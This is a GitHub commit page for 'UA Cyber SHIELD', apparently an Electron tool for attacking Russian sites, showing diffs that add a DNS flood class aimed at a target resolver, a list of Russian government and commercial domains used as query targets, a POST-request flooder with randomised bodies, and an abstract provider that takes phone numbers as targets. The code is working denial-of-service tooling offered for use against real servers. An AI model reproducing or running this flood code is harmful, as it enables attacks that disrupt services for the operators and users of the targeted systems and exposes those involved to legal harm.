-
Notifications
You must be signed in to change notification settings - Fork 177
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
22 changed files
with
558 additions
and
34 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,6 @@ | ||
{ | ||
"name": "shield", | ||
"version": "1.0.3", | ||
"version": "1.0.4", | ||
"description": "Cyber security shield", | ||
"productName": "UA Cyber SHIELD", | ||
"author": "Mykola Zhyhallo <[email protected]>", | ||
|
@@ -32,6 +32,8 @@ | |
"fs": "^0.0.1-security", | ||
"http-proxy-agent": "^5.0.0", | ||
"https-proxy-agent": "^5.0.0", | ||
"is-valid-domain": "^0.1.6", | ||
"is-valid-http-url": "^1.0.3", | ||
"node-localstorage": "^2.2.1", | ||
"path": "^0.12.7", | ||
"playwright-core": "^1.20.1", | ||
|
@@ -43,6 +45,7 @@ | |
"universal-analytics": "^0.5.3", | ||
"user-agents": "^1.0.965", | ||
"uuid4": "^2.0.2", | ||
"valid-url": "^1.0.9", | ||
"vue": "^3.0.0", | ||
"vue-i18n": "^9.0.0", | ||
"vue-router": "^4.0.0", | ||
|
@@ -58,6 +61,7 @@ | |
"@types/universal-analytics": "^0.4.5", | ||
"@types/user-agents": "^1.0.2", | ||
"@types/uuid4": "^2.0.0", | ||
"@types/valid-url": "^1.0.3", | ||
"@typescript-eslint/eslint-plugin": "^5.16.0", | ||
"@typescript-eslint/parser": "^5.16.0", | ||
"electron": "^17.1.0", | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
export interface ProviderHit { | ||
ok: boolean | ||
} | ||
|
||
export interface PhoneNumber { | ||
countryCode: number | ||
localPhone: number | ||
} | ||
|
||
export abstract class Provider { | ||
abstract get name(): string | ||
|
||
abstract setTarget(phone: PhoneNumber): void | ||
|
||
abstract start(): void | ||
abstract stop(): void | ||
|
||
abstract execute (): Promise<ProviderHit> | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,82 @@ | ||
import IpRegex from './utils/ipRegex' | ||
import isValidDomain from 'is-valid-domain' | ||
import { Resolver } from 'dns/promises' | ||
|
||
import { UDPFloodTarget } from '../external/targetsPool' | ||
import { Algorithm, ExecutionResult } from './algorithm' | ||
|
||
const BACKUP_SERVERS_DOMAINS = [ | ||
'yandex.ru', | ||
'rostender.info', | ||
'gosuslugi.ru', | ||
'kremlin.ru', | ||
'government.ru', | ||
'pfr.gov.ru', | ||
'rkn.gov.ru', | ||
'mvd.gov.ru', | ||
'rostender.info', | ||
'cdek.ru', | ||
'datrans.ru', | ||
'qiwi.com', | ||
'svo.aero' | ||
] as Array<string> | ||
|
||
export class DNSFlood extends Algorithm { | ||
isValid (target: UDPFloodTarget): boolean { | ||
const result = typeof target.ip === 'string' && | ||
IpRegex.v4({ exact: true, includeBoundaries: true }).test(target.ip) && | ||
typeof target.port === 'number' && | ||
target.port > 0 && target.port <= 65535 | ||
if (result === false) { return false } | ||
|
||
if (target.domains !== undefined) { | ||
if (!Array.isArray(target.domains)) return false | ||
for (const domain of target.domains) { | ||
if (!isValidDomain(domain)) return false | ||
} | ||
} | ||
|
||
return true | ||
} | ||
|
||
canExecute (): boolean { | ||
return this.config.useRealIP | ||
} | ||
|
||
async execute (target: UDPFloodTarget, isRunning: () => boolean): Promise<ExecutionResult> { | ||
let packetsSend = 0 | ||
let repeats = 48 + Math.floor(Math.random() * 32) | ||
const resolver = new Resolver({ | ||
timeout: 10000 | ||
}) | ||
resolver.setServers([`${target.ip}:${target.port}`]) | ||
|
||
const domainsList = (target.domains !== undefined && target.domains.length > 0) ? target.domains : BACKUP_SERVERS_DOMAINS | ||
|
||
let randomTarget = null as string | null | ||
|
||
while (repeats > 0 && isRunning()) { | ||
repeats -= 1 | ||
|
||
if (randomTarget === null) { | ||
randomTarget = domainsList[Math.floor(Math.random() * domainsList.length)] | ||
} | ||
|
||
try { | ||
packetsSend += 1 | ||
if (this.config.logRequests) { | ||
if (this.config.logTimestamp) { | ||
console.log(`${new Date().toISOString()} | DNS | ${target.ip} | ${target.port}`) | ||
} else { | ||
console.log(`DNS | ${target.ip} | ${target.port}`) | ||
} | ||
} | ||
await resolver.resolve4(randomTarget) | ||
} catch (e) { | ||
randomTarget = null | ||
} | ||
} | ||
|
||
return { packetsSend, packetsSuccess: 0, target, packetsNeutral: packetsSend } | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,7 +1,34 @@ | ||
import { SuperAgentRequest } from 'superagent' | ||
import { PostTarget } from '../external/targetsPool' | ||
import { SimpleHTTP } from './simpleHTTP' | ||
import { getRandomValue } from './utils/randomGenerators' | ||
|
||
export class Post extends SimpleHTTP { | ||
get method (): 'POST' { | ||
return 'POST' | ||
} | ||
|
||
protected beforeRequest (agent: SuperAgentRequest, target: PostTarget): SuperAgentRequest { | ||
agent = agent.set('Content-Type', 'application/json') | ||
agent = agent.send(this.makeRequestBody(target)) | ||
return agent | ||
} | ||
|
||
protected makeRequestBody (target: PostTarget): string | undefined { | ||
let body = target.body | ||
|
||
if (typeof body !== 'string') { | ||
return undefined | ||
} | ||
|
||
if (Array.isArray(target.randomGenerators)) { | ||
for (const generator of target.randomGenerators) { | ||
if (typeof generator.name === 'string') { | ||
body = body.replace(`%%%${generator.name}%%%`, () => getRandomValue(generator)) | ||
} | ||
} | ||
} | ||
|
||
return body | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.